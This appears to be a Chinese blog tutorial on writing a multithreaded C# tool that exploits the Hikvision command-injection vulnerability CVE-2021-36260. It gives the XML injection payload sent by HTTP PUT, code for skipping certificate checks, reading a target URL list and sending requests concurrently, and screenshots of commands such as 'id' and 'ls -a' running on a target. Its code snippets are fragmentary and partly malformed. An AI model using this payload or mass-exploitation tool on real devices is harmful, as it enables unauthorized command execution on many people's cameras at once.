如何编写一个多线程海康威视RCE漏洞利用工具

如何编写一个多线程海康威视RCE漏洞利用工具


说到这个多线程

我们就可以说下单线程


比如单线程的端口扫描,很容易造成卡顿

单线程的漏洞RCE,问题可能会出现卡顿的情况,原因是待优化的代码

程序逻辑问题等


比如我们就来简单写一个单线程的海康威视RCE工具

如CVE-2021-36260

这是一个命令执行漏洞


那么如何编写呢

首先我们可以去看一下漏洞复现过程

<?xml version='1.0' encoding='utf-8'?><language>$(Command > webLib/x)</language>

网上也有相应的漏洞利用程序


我们看了下原理是

通过PUT去发包

然后,在

<?xml version='1.0' encoding='utf-8'?><language>$(Command > webLib/x)</language>

执行想要的命令


首先我们要分析两步

第一步

<?xml version='1.0' encoding='utf-8'?><language>$(Command > webLib/x)</language>

执行这个PUT请求

这里默认为ID

<?xml version='1.0' encoding='utf-8'?><language>$(id > webLib/x)</language>
接着判断一下这个漏洞是否存在?
怎么判断,通过状态码和回显包判断

编写之前先引入

 ServicePointManager.ServerCertificateValidationCallback += RemoteCertificateValidate;
 
 支持https的
 
 利用httpwebquest
  request.Headers.Add("X-Requested-With", "XMLHttpRequest");
 加入一个必备的头部
 
  string XML= "<?xml version='1.0' encoding='UTF-8'?><language>$("id " > webLib/mz)</language>";

 //      byte[] postData = Encoding.UTF8.GetBytes(xmlData);
                    //   request.ContentLength = postData.Length;


  ss.Write(xml);
                    ss.Flush();

利用一个字符串接收

String sss = streamreader.ReadToEnd();

  catch (WebException ex)
                {

                    if (((HttpWebResponse)ex.Response).StatusCode == HttpStatusCode.InternalServerError)
                    {
                 
                    }
                    else if (((HttpWebResponse)ex.Response).StatusCode == HttpStatusCode.Unauthorized)
                    {
                
                    }

这里是判断状态码的


可留空


  try
            {
                yan();
            }
            catch (WebException ex)
            {


我们看看yan的代码

  catch (WebException ex)
            {

                if (((HttpWebResponse)ex.Response).StatusCode == HttpStatusCode.OK)
                {

同样判断了状态码

这个不难理解

执行效果就是这样


QQ截图20230714231645.png


我们重点看看多线程


批量需要读取本地URL

   ServicePointManager.ServerCertificateValidationCallback += RemoteCertificateValidate;

                string dictionaryPath = "hiv.txt";
                string[] urls = File.ReadAllLines(dictionaryPath);


HIV可以放入你要检测的字典/txt

接着读取


                //    foreach (String url in urls)
                //     {

循环先注释掉


我们使用多线程

    Task[] tasks = new Task[urls.Length];  //创建一个任务组
                for (int i = 0; i < urls.Length; i++)  
                {

                    String urla = urls[i];
                    tasks[i] = Task.Run(() => //启用
                    {


   try
                        {



                            String urlss = urla + 批量

这里需要注意:

urla+/payload:就是批量去发送的payload

  request.Method = "PUT";

发送方式变成PUT


可以写一个public void yz(){


写入代码

直接调用


    yan1();
        }

判断状态码

                        {
                          ("[!]" + urla + "存在海康威视CVE-2021-36260命令执行漏洞" + Environment.NewLine);
                          

最终我们的实现效果就出来了

我们测试一下

本地放入测试的URL



接着点击验证


QQ截图20230714232341.png



我们发现批量多线程还是挺快的

如果是单线程,估计就卡死了


我们来验证一个漏洞是否能执行命令

QQ截图20230714232535.png


成功执行了ID命令

接着我们再来执行一个ls -a


QQ截图20230714232618.png


同样可以验证

就写到这里